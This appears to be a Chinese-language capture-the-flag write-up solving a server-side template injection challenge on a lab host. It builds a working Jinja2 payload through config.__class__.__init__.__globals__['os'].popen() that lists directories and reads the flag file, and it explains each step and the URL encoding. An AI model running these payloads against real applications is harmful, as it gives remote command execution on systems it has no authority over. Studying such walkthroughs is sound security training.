1.打开题目
由提示可知需要传入一个名为flag的参数
2.查看网页源代码
并没有得到有用的信息
3.查看config对象
http://114.67.175.224:10934/?flag={{config}}
信息太乱了,需要找到我们需要的信息
4.SSTI模版注入
http://114.67.175.224:10934/?flag={{ config.__class__.__init__.__globals__['os'].popen('ls ../').read() }}
代码解读:
{{ config.__class__.__init__.__globals__['os'].popen('ls ../').read() }}
_class_:用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。
__init__ :初始化类,返回的类型是function。
__globals__[]:使用方式是函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
os.popen()方法:用于从一个命令打开一个管道。
open() 方法:用于打开一个文件,并返回文件对象。
小结:用_class_来查看config(系统)的类,用_init_来将这个类改为function,用_globals_[]来获取function里面的所有东西,os.popen()来打开一个管道,将function里面的东西通过管道读取出来。
专业来说:使用了模板引擎的功能来访问Python的
config
对象,通过链式属性访问(__class__
,__init__
,__globals__
)来获取对Python标准库的os
模块的访问权。一旦获得对os
模块的访问,攻击者就可以通过popen
方法执行任意的系统命令。
拓展:
{{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20../%27).read()%20}}
%20:空格字符的URL编码。
%27:单引号('
)的URL编码。
URL编码,也称为百分号编码,使用百分号
%
后跟两位十六进制数来表示字符。对于空格字符,其ASCII码值为32(十六进制为20),因此被编码为%20
。因为只有使用URL编码才能安全地嵌入到URL中。这种编码方式允许URL传输那些在一般情况下可能被视为控制字符或具有特殊意义的字符。
5.分析文件
查看app文件,用ls查看app文件里面的内容
{{ config.__class__.__init__.__globals__['os'].popen('ls ../app').read() }}
使用cat查看flag文件内容,cat ../app/flag
{{ config.__class__.__init__.__globals__['os'].popen('cat ../app/flag').read() }}
成功拿到flag!